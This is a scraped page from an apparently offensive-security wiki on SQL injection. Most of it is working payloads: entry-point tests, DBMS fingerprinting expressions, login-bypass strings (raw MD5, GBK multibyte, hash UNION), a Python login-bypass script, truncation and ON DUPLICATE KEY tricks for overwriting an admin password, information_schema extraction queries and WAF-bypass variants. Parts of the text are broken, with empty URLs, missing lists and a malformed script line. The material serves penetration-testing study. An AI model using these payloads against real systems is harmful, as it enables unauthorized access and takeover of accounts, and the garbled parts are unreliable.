Physical attacks
Mobile Apps Pentesting

SQL Injection

For specific SQL injection in some technology (postgress, oracle, mssql...) go to:

I have create a basic SQL Injection tutorial in Mysql here.

Asynchonous PosqtgreSQL Injection and use of oids can be found here.

Entry point detection

Detection of an SQL injection entry point Simple characters

Wildcard (*)

Recommended list:

Multiple encoding


Merging characters


Logic Testing

page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false

If you want to test possible combinations that, if vulnerable, the web should return the results of id=1 it is recommended:

If you want to test combinatios that always return true it is recommended:

Weird characters

Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')

DBMS Identification

["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],

Authentication bypass

Small list recommended:

Big list recommended list for login bypass (please, notice that the small list is already inside the big list):

Try to inject each line of the list in the username and password at the same time.

Authentication Bypass (Raw MD5)

When a raw md5 is used, the pass will be queried as a simple string, not a hexstring.

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Allowing an attacker to craft a string with a true statement such as ' or 'SOMETHING

md5("ffifdyop", true) = 'or'6�]��!r,��b�

Challenge demo available at

Hash Authentication Bypass

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Recomended list:

You should use as username each line of the list and as password always: Pass1234.

GBK Authentication Bypass

IF ' is being scaped you can use %A8%27, and when ' gets scaped it will be created: 0xA80x5c0x27 (╘')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Python script:

import requests
url = ""
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r =, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Polyglot injection (multicontext)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

Modify password of existing object/user

To do so you should try to create a new object named as the "master object" (probably admin in case of users) modifying something:

  • Create user named: AdMIn (uppercase & lowercase letters)

  • Create a user named: admin=

  • SQL Truncation Attack (when there is some kind of length limit in the username or email) --> Create user with name: admin [a lot of spaces] a

SQL Truncation Attack

If the database is vulnerable and the max number of chars for username is for example 30 and you want to impersonate the user admin, try to create a username called: "admin [30 spaces] a" and any password.

The database will check if the introduced username exists inside the database. If not, it will cut the username to the max allowed number of characters (in this case to: "admin [25 spaces]") and the it will automatically remove all the spaces at the end updating inside the database the user "admin" with the new password (some error could appear but it doesn't means that this hasn't worked).

More info: &

MySQL Insert time based checking

Add as much ','','' as you consider to exit the VALUES statement. If delay is executed, you have a SQLInjection.



ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:

Inject using payload:", "bcrypt_hash_of_qwerty"), ("", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --
The query would look like this:
INSERT INTO users (email, password) VALUES ("", "bcrypt_hash_of_qwerty"), ("", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");
This query will insert a row for the user “”. It will also insert a row for the user “”.
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".
After this, we can simply authenticate with “” and the password “qwerty”!

Extract information

Creating 2 accounts at the same time

When trying to create a new user and username, password and email are needed:

SQLi payload:
username=TEST&password&=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Using decimal or hexadecimal

With this technique you can extract information creating only 1 account. It is important to note that you don't need to comment anything.

Using hex2dec and substr:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

To get the text you can use:


Using hex and replace (and substr):

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Routed SQL injection

Routed SQL injection is a situation where the injectable query is not the one which gives output but the output of injectable query goes to the query which gives output. (Paper)


Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

No Space (%20) - bypass using whitespace alternatives


No Whitespace - bypass using comments


No Whitespace - bypass using parenthesis


No Comma - bypass using OFFSET, FROM and JOIN


Blacklist using keywords - bypass using uppercase/lowercase

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Blacklist using keywords case insensitive - bypass using an equivalent operator

AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Information_schema.tables Alternative

select * from mysql.innodb_table_stats;
| database_name | table_name | last_update | n_rows | clustered_index_size | sum_of_other_index_sizes |
| dvwa | guestbook | 2017-01-19 21:02:57 | 0 | 1 | 0 |
| dvwa | users | 2017-01-19 21:03:07 | 5 | 1 | 0 |
mysql> show tables in dvwa;
| Tables_in_dvwa |
| guestbook |
| users |

Version Alternative

mysql> select @@innodb_version;
| @@innodb_version |
| 5.6.31 |
mysql> select @@version;
| @@version |
| 5.6.31-0ubuntu0.15.10.1 |
mysql> mysql> select version();
| version() |
| 5.6.31-0ubuntu0.15.10.1 |

WAF bypass suggester tools